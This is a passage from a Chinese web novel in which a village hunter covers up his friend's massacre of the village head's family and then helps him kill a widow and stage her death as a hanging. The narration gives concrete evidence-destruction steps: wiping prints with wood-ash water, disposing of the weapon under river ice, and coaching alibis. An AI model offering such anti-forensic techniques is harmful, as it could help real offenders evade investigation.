说罢,陈虎便顶着风雪,再度出了门,直奔村长家的方向而去! 参与王胜父子俩死的,除了他陈虎与马老三,还有便是村长陈桥一家! 虽说不知道马红艳这寡妇到底是用了什么手段,但陈虎清楚,在马老三的心中,要不是村长,那一日王二就不可能对陈虎和马老三自己下死手。 这样的话,王二父子俩不会死,而马老三的手上,也不会被迫沾上了人命! 陈虎急匆匆的踏着风雪,往陈桥家赶去,但仅走到半道上,便见到雪地里马老三摇摇晃晃的身影。 陈虎深吸了一口气上前,隔得近了,他才借着雪地的反光,看清楚马老三的周身、满脸都是鲜血! 不由得,陈虎长舒了一口气,看着醉眼朦胧一副半死不活模样的马老三,抬手便给了他一记响亮的耳光! 这一巴掌,可算是给马老三短暂打醒了! 他看着自己眼前的陈虎,身子不由得一阵哆嗦,颤颤巍巍的出声道: “虎哥……我……” 陈虎闻言,深吸了一口气,反手又给了马老三一巴掌。 雪地里,那耳光声被风雪呼啸声轻易掩盖,陈虎眸光微沉,出声问道: “有活口没?” 马老三闻言,周身又是一阵颤抖,接着缓缓的摇了摇头:道“没……没有!” 陈虎闻言,咬牙道:“走!回去清理干净!” 此刻迎着冷风,又挨了陈虎两巴掌,马老三可算是清醒了过来,咽了口唾沫,嘴唇一阵蠕动,最终还是没作声,跟着陈虎往村长家走去。 陈桥一家住在村子东南方向的河边,宅子挺大,四个房间加一处堂屋,冬天牛棚里冷,所以,他家的那头黄牛也住在里屋。 陈虎领着马老三,再度走近时,还未进门,便瞅见了门口那鲜血淋漓的尸体! 尽管尸体脖颈处、脸上都敞着一道道血淋淋的豁口,面色狰狞惨白,但陈虎还是一眼认出了这是村长陈桥。 跨过这具尸体往里走,陈虎在朝南那间屋子里的床铺上,看到了村长媳妇儿的尸体,而另一间屋子门口,则躺倒着陈西海的尸首。 村长一家三口,都死于非命! 满地的鲜血,早已冻结。 但冷冽的空气之中,仍旧传出阵阵的血腥味。 隔壁那间屋子里面的那头黄牛,哞哞个不停,声音夹杂着风雪呼啸,显得尤为刺耳! 陈虎深吸了一口气,接着带上马老三去里屋一阵翻找,将陈桥家柜子里面的一些个银钱,全部都拿走,接着又牵着那头黄牛走到院子里,找来一根绳索,绑住了黄牛的嘴,让黄牛不能叫出声。 最后,陈虎死死抓住马老三的肩膀,眼中闪过一抹厉色,狠狠交代道: “牵着黄牛绕开村子去后山,到了后山,拿着你手里这把刀子往牛身上砍,把这头牛往山里头撵!做完这些后,把这你手里这把刀子,找个僻静地儿给埋了,绝对不能带回来!” 此时,酒醒的马老三,颤抖着说不出半个字,连连点头,满眼惊恐地接下了陈虎递来的牛绳。 见马老三一阵犹豫,陈虎怒斥道:“赶紧去!去完后回家,记好了,你今晚和你家婆娘吵了架后,没出过门!跟杨春知会一声,这件事情,千万不能有半点儿纰漏!” 马老三闻声,连连点头应下。 陈虎则转身回到现场,开始清理打扫。 第一卷 第76章 记住了,今晚你没有去寻过我! 经常处理犯罪现场的人,应该都知道,像是指纹、脚印清理等等,它都属于一些个技术性的细节问题。 而通常最让人为难的,还是对受害者的处理! 一个成年男性的体重,大约在七十公斤上下,这个重量拖动起来便已经异常困难了,更别说将其带往杳无人烟的僻静地方。 最让人头疼的还是这一次陈桥一家,共计有三个成年人,这三位受害人兴许是伙食不错,在这灾荒年内一个个养的膘肥体壮,在夜间零下气温中冻得邦邦硬,想要处理的话,简直就是个大麻烦。 当然,处理现场也不是非要处理掉受害者才行。 这个年代,电子设备并没有普及。 寒冷的冬季,以及风雪呼啸的夜里,这两个先决条件也都注定了今晚不会出现什么目击者! 也就是说,只要抹除马老三带来的痕迹,那么即便是神探来了,也不可能从现场找到更多的线索,从而也就不可能怀疑到马老三的头上。 有了稳妥的结论之后,陈虎很快就开始动手。 第一步便是找来抹布,将自己与马老三的脚印擦除,由于屋外冰天雪地,屋内则烧着火炕,所以外人进入的脚印就会留下明显的水渍,这也让清理难度大大降低。 其次便是指纹! 尽管这个年代的刑侦技术并不完善,再加上指纹收集和判定,需要许多条件的限制,但对陈虎而言,还是小心驶得万年船为好。 他先是去灶台下面,找了些草木灰,碱性的草木灰掺水之后,再用软抹布沾上草木灰水,这样清理痕迹的话,就十分有效。 陈虎十分细致地将所有马老三可能触碰到的地方,一一用软抹布擦拭,最后保持着现场原样,悄然退了出去。 走出村长家后,陈虎第一时间内去到了后山,在后山一处乱石堆中,将方才从陈桥家中搜刮来的一些银钱,用一块布包好后,埋进了冻土下,最后再将周围用积雪恢复原貌。 做完这些,陈虎也看见了牵着黄牛,绕道来后山的马老三。 而马老三与陈虎汇合之后,二人当即依照陈虎先前的决定,朝着黄牛的臀部,狠狠砍了一刀! 黄牛吃痛,可嘴角却被严严实实的绑住,只能够惊恐的朝着山林之中跑去。 解决完黄牛,陈虎望向手中拿着菜刀,正瑟瑟发抖,不知所措的马老三。 陈虎并未指责马老三什么,而是沉声交代道: “你记好了,今晚你和杨春吵了一架后,去了马红艳家里过夜。这件事情,我会和你媳妇儿通气,你现在直接回马红艳的屋子,你手中的这把刀,也交给我。其它的,你一概不知,能明白吗?” 马老三闻言,面露犹豫,而后弱弱的出声道: “虎哥,可我媳妇儿她……” 陈虎当即冷哼一声道:“别废话!你媳妇儿什么都不会说,她才是最不希望你进去的人,到了马红艳那儿,啥也甭说,记好了,啥也别告诉她!” 马老三没再出声,依照陈虎的吩咐,将那把凶器给了陈虎之后,便快步离去。 陈虎望着手中的那把菜刀,忍不住微微皱眉。 接着,陈虎二话不说地去到了村子西边的河边上,搬起石头奋力的砸开河面上的冰层,在砸出了一处豁口后,将菜刀扔进了冰河之中。 凶器,历来都是最直接线索! 处理完凶器,陈虎先去到了马老三的家里,尽量不弄出动静,将房门敲开。 杨春仍未睡下,一直忧心到现在,见门外是陈虎,刚想询问,却见陈虎做了个噤声的手势,接着进入屋里。 杨春一脸不解的望着陈虎,陈虎则确认周围没有村民被惊动之后,低声开口道: “现在我说两件事情,你不要打断,也不要问询,照做便是,能明白吗?” 杨春尽管心中万分不解,但出于对陈虎的信任,还是十分郑重的点了点头。 陈虎深吸了一口气,接着说道: “第一,马老三没事儿,但他杀了人。” “当然,你先别着急!你只需要知道,这件事情过了今晚后,和他扯不上任何关系,但前提是等到警察走访问到你时,你的说马老三昨晚是和你吵了架,吵完架后便出了门,并且去了马红艳的家里。” “至于马老三为什么是去马红艳的家里了,则是因为你们近来吵架都是因为马老三过夜都是在马红艳那个寡妇家里。” 此刻,杨春的脸色一阵阵惨白,以往若是听到马老三钻马红艳那个寡妇门,她定然要气极。 但此刻,她仿佛只听见了“马老三杀了人”这六个字,连呼吸也不禁急促起来。 陈虎眸光微沉,接着说道: “第二件事情,马老三杀人是受了马红艳的设计,这寡妇过了这件事情后,我会彻底处理掉,你不要多问,也不用多想,只需要知道等到这阵子过后,马老三再也钻不了寡妇门,并且往后他在不顾家里做混账事的话,我也不会轻饶了他。” “如此,足够吗?” 杨春犹豫片刻,最终还是重重的点了点头。 陈虎见此,不由得满意的长出了一口气,而后在最后交代一句道:“记住了,今晚你没有去寻过我!” 说罢,陈虎推开门,探出头简单的观察之后,一转眼便潜入了雪夜之中。 风雪呼啸依旧,这一夜的热闹,逐渐沉寂到了风雪的声音没了动静。 陈桥一家的死状被发现,是在次日中午。 这个时段,陈虎正带着一行人在老屋忙活,突然就有一些村民跑到了陈虎跟前,一边惊慌着诉说村长一家的死状,一边请陈虎去看看。 陈虎闻听此言时,神情间满是惊讶,当即便转头对其他人吩咐了后续工的作,旋即便起身,去了陈桥家中。 一旁的马老三,则在村民找上门来的第一时间内,便露出了满脸慌乱的样子。 他煞白的脸色,再加上强烈的恶心、眩晕感不断袭来,让得马老三甚至于有些站不稳。 其他的工友们见状,急忙询问马老三是哪儿不舒服,马老三则假意说闹肚子,随后便一头扎进了茅厕。 四下无人的茅厕之中,马老三在心底里面,一遍又一遍地重复着陈虎交代过的一切细节。 陈虎再一次来到陈桥家时,一众村民们都已经将陈桥家里三层、外三层的围了起来。 陈虎穿过人群,来到屋内时,神情忍不住一阵异动。 屋内有些乱,不仅尸体被移动过,就连一些个柜子什么的,也被除他之外的人翻动过。 很显然,现场已然被发现惨案的村民们,进行了又一次的破坏。 陈虎见此,心底不由得冷笑一声,接着神色郑重地看向周围的村民们道: “大家现在都不要再待在现场了!把这个地方保护起来,免得破坏线索,无关人等也都退出去,谁家有牛车、马车的,借给我上镇里报案!” 第一卷 第77章 新居与灵堂 一众村民们听到陈虎的话后,忍不住议论纷纷道: “好家伙!那村长的头都耷拉着快要掉下来了,这到底是砍了多少刀啊?” “陈虎要去报案,这镇上也没几个警察,这事儿怕是难搞咯。” “还警察?等到警察过来,起码得晚上了,这大半夜他们连回去都不方便,这路车也不好走,来不来都不一定呢!” “唉……谁见着村长家的黄牛了?” “何止是黄牛啊?据说里面橱柜啥的全都被打翻了,估计是谁家活不下去了,上门劫财来的。” …… 村民们传来一阵沸沸扬扬的议论声,随后他们在陈虎的动员之下,逐渐退出了这处院子。 很快,陈虎也借来了村上另一户姓陈的人家的牛车,接着带上了发现第一现场的几个村民,然后一同驾车,往镇上赶去。 镇上得到报案之后,加上所长在内,一共五员警力,全部出动! 警车在临近傍晚的时候,才开到了村里。 可惜,正如陈虎预料一般,除去警力不足,刑侦手段不完善外,模糊的线索和多次被破坏的现场也让得这五名干警在多番勘探之后,无功而返。 后来,村长一家的尸体都被拉到了县城里面做尸检,县城里面随后也抽调了警力,来到村里面,多番的走访调查。 可惜,警方一连忙活好几日,也没有半点儿头绪。 警方甚至于连一个具体的侦察方向,都没能够找到。 这起案件在后续的半月内,一直都没能够找到半分线索,最终只能被装进档案袋内封存,成了一桩悬案! 而这起案件的后续经过,陈虎都再鲜有参与。 陈虎随后一门心思地放到了老屋的改建上面。 马老三后续则告病在家,歇了两日。 对此,陈虎也懒得过问,直接多找了一个村民,代替马老三帮衬着出力改建老屋。 陈虎老屋的改建,也是在这起案件封存之前完工的! 这一日,陈虎正式搬家,乔迁之喜引得许多村民们自发上门,或是拎着几斤粟米,或是提了十几个鸡蛋,有的甚至于还提了一串腊肉。 这也让得陈虎的新家,格外热闹。 杨蓉起了个老早,便请了隔壁的几个婆姨,帮衬着烧了一大锅炖菜,又煮了足够几十人开伙的米饭。 隔壁几家也自发搬来了桌椅,到了傍晚时分,上河村的几十户人家几乎全部都到了陈虎新家的院子里面。 此时,院子里面已经点燃了许多篝火,十几张桌子座无虚席。 随着一锅锅热气腾腾的炖菜上桌,陈虎也带上了两个小家伙来到院外,点燃了一串鞭炮。 在噼里啪啦的鞭炮声中,陈虎看着怀里面正捂耳朵的两个小家伙,以及院子里面满脸慈笑的杨蓉,不由得舒心的长出了一口气。 很好,他一切的憧憬与期盼,终于有了一份暂定的答卷。 与陈虎新家中的热闹,截然相反。 陈桥家父母早亡,倒是有几个亲戚来给他家里面,简单的布置了灵堂。 陈桥一家三口的尸体,被送到了县城,让法医解剖尸检,昨儿才送回来。 陈桥亲哥哥一家给陈桥一家三口,各自打造了一副陈木棺材。 落寞的灵堂挂着白,完全无人问津。 不知是村民们害怕沾染晦气,还是陈桥一家生前没做什么讨喜事儿,完全没有人来上门祭奠。 陈虎喜庆的新居点燃了鞭炮,在热闹喧哗的烟火气之中,映衬着陈虎一家人的笑脸。 前者是一个无言的结局,后者则是新的开始。 当然,这份新的开始之前,陈虎还有一桩大事需要搞定! 一直到陈虎家乔迁之日,马老三仍旧没回过神。 尽管一早便来到陈虎的新居处忙前忙后,但马老三整个人做事神情萎靡,像是失了魂一般没精气神。 晚间,陈虎送走了宾客之后,在新屋里面摆上了酒菜,然后又专门单独找来了马老三。 马老三双眼无神的坐下,看着一桌子的酒菜,却显得食欲不振,十分牵强的笑道: “虎哥,我……我不饿!” 陈虎举起筷子,夹了一块卤肉,放进了嘴里。 他一边品尝着这份灾荒年难得的美味,一边动手,给他自己倒了一碗米酒。 “马老三,你知道什么是愚蠢吗?” 陈虎给他自己倒上一碗米酒之后,神色淡然的问道。 马老三闻言,犹豫半晌,咽了口唾沫道:“虎哥,这件事情是我犯浑了,我……” 陈虎闻言,猛地一敲桌,低声怒斥道: “犯浑?!马老三,你这还仅仅是犯浑,那要做什么才叫丧心病狂?半夜提着刀,灭人满门,这是犯浑?” 马老三看到陈虎的样子,额头不由得冒出一层细密汗珠,嘴唇煞白的不断抖动着,半晌没吐出一个字回应。 陈虎端起那碗酒一饮而尽,放下瓷碗后,咬牙冷冷道:“你就这点儿出息?你动手时的那股子胆气去哪儿了?整日半死不活的是生怕别人怀疑不到你头上?” 马老三闻言,一时之间,涨红了脸,不敢与陈虎对视道:“虎哥……这件事情谢谢你,但我自己过不去心里的那道坎。” 陈虎闻言,嗤笑出声,接着将手掌重重地拍在马老三的肩头: “你觉得是你自个儿的错?你错了,马老三!” “难道不是吗……那晚我……” 陈虎闻言,无奈的叹息一声: “需要我帮你回忆一下,你是怎么上了马红艳那个寡妇的床,你对陈桥一家动手前,她难道没有对你说些什么吗?” 马老三闻言,顿时整个人如触电般的浑身一颤。 接着,马老三的眼中,露出了一抹惊恐,抬眼瞥了一眼陈虎之后,又迅速的低下了头道: “虎哥,她……这事儿不关她的事儿,红艳也是因为……” 见马老三磕磕绊绊的脸说话都说不清楚,陈虎的心中,不由得叹息一声,接着打断道: “别说了!我们把这件事情拉回到王二他们出事之前。你仔细想想王二当时是怎么说的,她马红艳难道不知道自家男人和儿子两人,那日上山图个啥吗?她能不知道是谁让他们上的山吗?” 陈虎一边说着,一边自顾自的倒了一碗酒,接着又喝了一大口的酒水,下肚道: “她必然知道一切!也就是说,自打那日你和我下山,她男人和儿子留在山上之后,你又跟着我落了这般多的好处,她的心底就跟明镜儿似的!我们两人,全都是她的死仇!” 马老三闻言,顿时面露惊恐,不断摇头道:“可是……可是……” “没什么可是的!” 陈虎轻拍马老三的肩膀,安抚出声道: “这就是事实!不仅仅我们是她的死仇,就连村长一家,买凶雇凶同样被她记恨在心,我不管她跟你说了什么,又用了什么腌臜的手段,让你上了她的床,现在你都得给我想明白了,她马红艳从一开始接近勾引你的目的,就是要你为她所用!” “我想要不是她做了什么、说了什么的话,那陈桥死的那天晚上,你就应该不会去陈桥家的吧?” 第一卷 第78章 大小两个老婆都随你 马老三尽管已然明白陈虎说的种种,但他想清楚了前后的关节之后,却仍旧不死心的说道: “可是马红艳她分明知道那天晚上,我出去做了什么,为什么她第二天还是在警察的面前,为我打掩护呢?” 陈虎见状,眼中闪过了一抹不屑,冷冷开口道: “因为我还好端端的在这儿呢!没了你,她就没办法对付我!她马红艳就是一个无依无靠的寡妇,除了绑住你,她眼下一无所有!” “你不信的话,尽管看着,保不齐回头她便会拿杀人这事儿来威胁你给她做事情……” 马老三听到陈虎这话,顿时不敢再听,低着头,沉默半晌,忍不住一阵阵的抽泣出声。 陈虎倒是怡然自得的吃着桌上的酒菜,吃饱喝足之后,他放下筷子,淡然出声道: “把桌子收了自个儿回去,想不明白就找个山沟,把自己一捧土给埋了,等你想明白了,再来找我!” 说完,陈虎便起身,头也不回的走出了房间。 待到陈虎去了堂屋之后,马老三这才痴痴的动起身来,他先将饭桌给收了,这才一言不发的走出了陈虎的家中。 期间,陈虎甚至于懒得去多看马老三一眼。 望着马老三离去的背影,陈虎的心中,不由得暗暗思量着。 马红艳属实是一颗定时炸弹! 这女人不仅知道王二和王胜两人是怎么死的,更是靠手段让马老三这般老实人,都爬了她的床。 这个女人不解决,保不齐往后还会出什么乱子。 但更让陈虎忧心的,还是马老三。 这厮若是已经完全被马红艳那寡妇迷得失了魂,回过头不要老婆孩子,保不齐再会做些什么出格的事儿。 经过简单的思虑之后,陈虎望着自家大门的方向,喃喃出声道: “马老三啊马老三,你要是想不明白,那你也别怪我了!” 马老三从陈虎家中离开之后,并未回到他的家里,而是径直又去了马红艳的家里。 马老三轻车熟路的来到马红艳家的后院,推开后门,便直接就进了屋。 进屋后,马红艳此时正坐在炕头,手里拿着一块布料缝缝补补。 听见动静,马红艳头也不抬的出声道: “你回来了,我给你做了件披肩,等会儿你试试,先给我倒一碗水来。” 马老三闻声没接话,从灶房倒了一碗水后,便来到马红艳的面前。 马红艳抬头,见马老三丧着脸,便接过水,微笑出声道: “老三,这事儿不是过去了,别忧心了。” 马老三闻言,长长的叹了口气,却没作声,随后又坐到了一旁。 望着马红艳手里缝制的布料,一时之间,马老三的心中乱七八糟,不知道该说些什么。 马红艳喝了口水后,神色悠然,接着继续缝制着手中的披肩,并且漫不经心的开口道: “对了!老三,先前你不是答应要帮我办件事情吗?” 马老三闻言,点了点头,却仍旧是一言不发。 此刻,马老三的脑海之中,不断地闪现着陈虎的脸,回想着陈虎先前所说的那些话。 他的心中明白,依照陈虎的手段,以及先前陈虎说的那些话,摆明了就是不会留下马红艳这么个祸害的! 既然陈虎已经决定这么做,那莫说马红艳一个寡妇,就是马老三想要保住她马红艳,即便他们两人绑在一块,也绝不可能斗得过陈虎的。 这时候,马红艳淡然出声,打断了马老三的思绪: “马老三啊,你知不知道就在两个月前,我儿子考上了大学?考上大学唉……这镇上还没听说谁家出了大学生,这不就是以前考中功名,文曲星下凡等着当官的料吗?” 马老三闻言,不由得愣了愣,没反应过来马红艳这说辞是为何。 马红艳则悠哉悠哉的接着出声道: “呵呵……说来也好笑,保不齐是他王家没这个命,出了个状元郎,结果不明不白的就死了。” 说到此处,马红艳则满眼怨恨的望向马老三,语气陡然转变冷声道: “他们父子俩到底是怎么死的?马老三,你应该清楚吧?” 马老三闻言,顿时心中一阵凌然,接着皱眉望向马红艳,问道: “红艳,你想说什么?” 马红艳闻言,则冷笑出声道: “我想说什么?马老三,你看王二和你一直是关系不错的朋友,如今,王二他死了,你又整日睡他老婆,睡他的炕,你说我想说什么?” 马老三皱眉,没有接话。 马红艳则咬牙切齿的接着说道: “你如今杀了陈桥一家子,也算是给他们两父子报了仇了!我不怪你,但马老三,我心里面可清楚得很!” “我男人和儿子,肯定都是栽在了那陈虎的手里头! “你不是答应要帮我办事儿吗?” “这样,你帮我杀了陈虎!以后我做小服侍你,王二留下的田产什么的,也全部都是你的,只要你办成了这事儿,我什么都可以……” 马老三闻言,果断的摇头打断道:“不可能!这绝对不可能!要不是虎哥,我今天哪儿有坐在这里的资格?” 马红艳见状,眼神之中的幽怨宛若要溢出一般,轻咬着嘴唇,冷冷的说道: “马老三,你若是不答应,那你老婆和孩子,恐怕都得学我一般守寡。” 马老三闻言,当即心头一惊,一脸不可置信的看向马红艳。 马红艳则接着不紧不慢的冷冷说道: “答应了,以后我做小,你还能多出十亩良田,大小两个老婆都随你,到时候,你想在哪儿过夜,就在哪儿过夜。” “你要不答应,那我怕是要告诉警察,我突然想起些什么了。” 马红艳轻描淡写的两句话,却是直接就让得马老三整个人如遭雷击! 不由得,马老三深深的看了马红艳一眼,身子微微颤抖着,随后,马老三的面色纠结了好一阵,最终还是点了点头,没再作声。 马红艳见状,则喜笑颜开,放下针线之后,将那件披肩拿起后一阵端详。 而后,马红艳便为马老三披上,要看看马老三披上披风之后的上身的效果。 这一晚,杨春仍旧没能够等到马老三回家。 尽管杨春一遍又一遍的安慰她自己,马老三估计还在陈虎那儿帮忙。 但眼看临近半夜,杨春也能猜到马老三铁定是又去了马红艳那个寡妇的屋里。 长吁短叹一阵后,杨春熄了灯,走到门前,将门拴上之后,便叹气着入睡。 这一晚,无事发生。 等到杨春次日醒来之时,刚一开门,便见着了自家男人正蹲在门口,瑟瑟发抖。 杨春不由得皱了皱眉,心疼的看着马老三,最终却没有出声,转身便回了屋里。 门外,马老三的缓缓起身,拖着冻僵的身子进了屋,也不去怪罪谁,坐到炕上取暖,也不吭声,就这么安静的坐着。 看着赌气不说话的自家老婆,马老三的眼底,不由得流出了一抹欣慰的笑意。 第一卷 第79章 梁上悬挂根绳子,将她挂上去! 秘密可以存在于三个人之间,如果其中两个已经死了的话。 腊月初的大兴安岭,将“冰雪世界”四个字具象化,厚达半米的积雪给大地穿上了一层厚厚的羽绒。 放眼所及之处,树木上的每一根枝条,都凝结着晶莹剔透的冰晶外衣。 上河村的村民们,世世代代都生活在此处。 他们见怪不怪地凿开冻结的河面,用满是冻疮的手打起冰层下的河水,再奋力的踏过积雪,将摇晃的水桶挑回家。 陈虎清早便来到河边打水,正巧碰到了马老三往他家的方向走来。 马老三默不作声的上前,接过陈虎肩上扁担,挑起水后,他就跟在陈虎的身后,往回走去。 陈虎带着毡帽,正视前方,往前走着,随后神色淡然的轻声开口道: “这般冷的冬天,总是有很多人熬不过去的。” “上山打猎有收获之前,我家里也断了粮。我爹走得早,也走得冤,我娘拉扯着我们三兄妹不容易,仅有的几亩贫田养不活一家人。那时候,我们一家人几乎要饿死了,我妈甚至于打算把弟妹过继给村东头的老光棍了!” “那时候,我心乱如麻,从没憧憬过来年春天。” “这般冷的冬天,很多时候都是上了年纪的老人熬不住,但那时候,我家四口都快熬不住了。” “好在,眼下一切都好了起来,我们仍旧可以憧憬着来年春天,憧憬春日的暖阳打在我们身上的感觉。” 马老三挑着两桶水,走在厚重的雪地里面,水桶十分平稳。 他低着头静静听着陈虎说话,既不插嘴,也不吭声,一步一步的走得十分稳当。 陈虎平淡的语气,像是个历经沧桑的老者,随后不紧不慢的接着道: “入冬以来,村里面估摸着已经有四、五位年迈的老人去世了。” “显然,这个冬天很难熬,也不知道有多少人能熬着见到来年春天的朝阳。” 陈虎的话很直白,弦外之音,言简意赅。 近似于恐吓般的赤裸裸,这般直白就是想告诉马老三,如果有的事儿他插在中间不让解决,那他马老三同样可以被一并解决。 马老三静静地听完陈虎的这番言语,没有丝毫犹豫的应声开口道: “虎哥,接下来该怎么做?我全部都听你的。” 陈虎闻言,停下脚步,回过头微笑着望向马老三: “想明白了?” 马老三点了点头,将水桶放下,声音低哑道:“和虎哥你说的一个样,她拿这事儿威胁我,我先前丢了魂,的确该死。” 马老三在昨夜马红艳提出要求之后,便彻底清醒了过来。他一个一事无成的庄稼户,马红艳凭什么要眼巴巴的望着他? 尽管马红艳后续不断的游说着,甚至于承诺愿意给他马老三做小,并且将王二留下的房产与几亩田全部都送给他,可马老三还是想明白了其中的关节。 他马老三与陈虎是一条船上的蚂蚱,马红艳既然知道那日王二与王胜父子俩上山图啥,那就肯定能够想通二人为何没能下山,而他又为何能够与陈虎一道下山! 在借助马老三的手,除掉村长一家后,马红艳便认定她能抓住了马老三软肋,再加上马老三如今还是她的榻上常客,马红艳就更有信心拿捏住马老三! 可既然马红艳决心要陈虎的命,那细细推敲,在马红艳的心中,他马老三必然也脱不了干系。 马红艳现在将陈虎记作死仇,那马老三必然在她的心中,也不会强到哪儿去。 所以,马老三在当晚留宿过后,次日天没亮,便折返回家了。 可杨春却将房门给锁了,这也让马老三在门口守了一早上。 当然,在门开后看到自己的妻儿,马老三也算是彻底醒悟! 正如陈虎所言,马红艳的存在是一颗钉子,一颗嵌进肉里,必要时甚至于可能要人命的钉子! 当然,拔出这颗钉子,属实需要花一定的力气。 怎样悄无声息的将这颗钉子给拔掉呢? 显然,在一个刑侦落后的年代,一个警力不足,位处僻静深山没有监控设备的鬼地方,这不算难题。 陈虎深深的看了马老三一眼,心中当即便有了决断。 有时候,秘密同样可以存在于两个人之间,前提是在这个秘密上,两个人有着共同的利益基础。 关于拔出钉子的计划,陈虎轻描淡写的定在了次日夜晚,就像是与人约好了吃一顿饭一样,仓促草率。 这一晚,陈虎与马老三夜半时分,来到了王二家门外。 马老三依旧轻车熟路的从后门走了进去,陈虎则紧紧跟在马老三的身后。 屋内熄了灯,马老三进屋的动静,在寂静的雪夜里面,显得尤为刺耳。 床榻上,马红艳尽管早早睡下了,但还是被这动静给惊醒了。 当听到来人进了屋,马红艳收起了满脸的不耐烦,夹着嗓子,妩媚出声道: “来了?把门窗关好!” 说话间,马红艳半裸着身子坐起身,望向黑暗中的那道身影,软声幽怨道: “马老三,答应我的事儿,你可得快上些!你整日往这儿跑倒是殷勤,你做成了这事儿,我给你做小,往后你也不必要半夜才从后门进来。” 黑暗之中,马老三一声不吭的走进床榻,马红艳还打算出声时,却隐约察觉到了不对劲。 所有的声响在黑暗之中,都会无限扩大,一点儿细微的动静也会更容易被察觉。 听惯了马老三进门的动静,马红艳突然惊觉在漆黑一片中,这脚步声不止一人! 马红艳意识到不对劲的瞬间,便想出声大喊,却见马老三已然到了她的面前,伴随着马老三那张冒着寒光的脸显露的瞬间,马红艳再想出声,已然来不及了! 只见,马老三手持一张沾了水的抹布,直接就盖在了马红艳脸上! 尽管马红艳奋力挣扎,想要出声,但也无济于事。 马老三一只十分有力、满是老茧的手,死死地压在马红艳的口鼻间,另一只手则死死地钳住了马红艳的双手。 在生理性的优势下,马红艳没有丝毫的反抗余地。 眼见她双腿不断挣扎猛踹,身子扭曲着想要挣脱,却始终无果。 这时候,陈虎的身影也显露而出。 马红艳望向陈虎,露出了满眼的惊恐与愤怒,在愤怒之中,她逐渐的失去了知觉。 待到马红艳窒息晕死过去后,陈虎摆了摆手,示意马老三停下。 马老三会意的松开手,这时候,陈虎淡然出声道: “梁上悬挂根绳子,将她挂上去!” 马老三听到陈虎这话,点了点头,然后一言不发的开始忙活。 第一卷 第80章 也好让苦命人死后落个安生 不多时,本来仅是晕死过去的马红艳,却是陡然间睁开了眼睛。 再度袭来的窒息感与脖颈处绳索摩擦所带来的剧痛,让她红着眼,抬手不断尝试着扯开绳子,两条白花花的腿更是用力地蹬踹着。 很快,马红艳充血的双眼,宛如要瞪出来似的。 凸出的眼球,好似死鱼,整个身子也挺直了,不再大幅度的挣扎,最后随着身体的最后一阵抽搐,马红艳整个人就彻底没了动静。 随后,马红艳的身子,也随之瘫软下来,头发散乱着,从下往上看向她的脸,犹如一个惨死的厉鬼,就连舌头都乌青着伸出在外,十分瘆人! 尽管来之前陈虎给马老三做过许多的心理准备,但亲眼目睹这一幕的马老三,却仍旧止不住的半个身子都木住了。 哪怕马老三之后缓过神来,但他的半个身子仍旧在不断地颤抖。 陈虎则好似压根看不见这一幕似的,将马红艳整个人挂在绳子上后,便专心地开始打扫着二人来时的痕迹。 等到陈虎将一切都收拾完后,这才叫醒了一直痴痴的站在马红艳尸体面前的马老三道: “走吧!” 听着陈虎淡然的语气,马老三恍然之中,有一种迷失感,好似眼前吊死的不是一个人,而是一只鸡。 等到二人走出屋外,陈虎再一次打扫干净了后门处留下的痕迹时,马老三却是十分诡异地生出了一个可怕的念头。 陈虎这一切的举动,都太过于娴熟了,好似他的本职并不是猎户,而是杀人才对! 不由得,马老三忍不住地对陈虎又一遍的审视,心中开始回想起有关于陈虎的点点滴滴。 马老三在走出门后,看到陈虎擦拭门把手上的痕迹时,甚至于忍不住怀疑,如果有必要的话,陈虎会不会对他动手? 在这些个纷乱的念头,不断的在心中涌现时,马老三却是已经跟着陈虎,来到了一处僻静的空地上。 这时候,马老三却是十分突兀地想到一件不算久远的事情。 陈虎家乔迁新居,而陈虎家这处被改造的老屋,最早应是陈虎二叔陈厚陈二狗家的住处才是! 陈厚据说因为赌债,抵押了房产、地产。 而后逃到了县里边,当苦工躲债,家里的老太太也自缢了,可陈厚逃避赌债怎么会把老婆孩子都给一并带走呢? 而假设陈厚并不是为了躲债,而去了黑窑当苦力,那他老婆孩子去哪儿了? 所有经不起细细推敲的事情,你往最不可能的方向去想,无底线相信人的阴暗面,那就往往就最能够接近答案! 寒风凌冽中,陈虎十分冷静对着马老三,吩咐道: “马红艳这个寡妇家,换做往常不会有人进去的。这事儿不能碰运气,明儿得由你来第一个发现案发现场!” 马老三闻言,十分懵懂的点了点头道:“虎哥你说,我照做就是!” 陈虎闻言,微微颔首,正色交代道: “这件事情,你需要……” 次日午后,马老三的家中,再一次传来了争吵声。 马老三在摔碎了一个瓷碗之后,便拎着个酒壶,出了门。 不多时,马老三去了村中煮酒的人家,打了一壶酒,而后晃晃悠悠的朝着马红艳家走去。 马老三依照惯例,走了后门,进去马红艳家后没多久,屋内便突然传来了骇人的呼喊声。 马老三像是见鬼似的跑出了王二家中,逢人便痴痴的喊着“死人了!” 很快,一众村民们都聚集到了王二家里。 在见到马红艳这个寡妇的惨状之后,这群好事者都被吓得不轻。 依照惯例,很快,村里头上了年纪,有些威望的长者,以及陈虎就全部都被请了过来。 现场一如村长家前日那般热闹,不过,陈桥一家今儿才过头七,家里面却早已是鲜有来客,十分冷清,比不得眼下王二家这边热闹。 “哎呦!你是没看到王二媳妇吊死的那副鬼样子,唉……吓死个人!那舌头都露在外边,披头散发,整张脸都是铁青色,和经常说的吊死鬼一个模样!” “说来马寡妇也是命苦!据说儿子都考上大学了,结果那次跟着她男人一起上山,就没再下来了!” “命苦啥?你是不知道哦……村里头自打王二出事儿后,这马寡妇每晚都不拴后门,屋里面留着一盏灯,王二父子俩尸骨未寒,她就做上皮肉生意咯!” “可不是!马老三这般老实的一个人,也是被那马寡妇迷得丢了魂儿,整日整日的与家里头吵架。” “话说最近村里头死的人,是不是有些多了啊?” “这还算多?小辈,你是不知道,往前数二十年,那年头每年都要饿死几户……” …… 村民的议论声,喋喋不休,说什么的都有。 有人感叹着命运无常,为马红艳鸣不平,有人则揭露了马红艳守不住寡,与不少男人有一腿的事情。 在阵阵的非议之中,陈虎却是突然站了出来,他先是示意大家安静,而后正色出声道: “乡亲们,王二家没个亲人,她如今成了这样,王二父子俩还下落不明。大家说说这事儿该咋整,我是想报官,但这事儿明摆着是上吊,回头再像是村长一家被送去给人开肠破肚子尸检,那也造孽!” 说话间,陈虎微微叹了口气,村民们闻言,皆默不作声。 毕竟,王二家没个亲戚,谁要是在这个时候接话的话,那万一这处理后事的事情,说不定就落到他们的头上了。 这种事情,不仅费时费力,并且还徒增晦气! 陈虎环视村民们一圈之后,无奈的摇了摇头道: 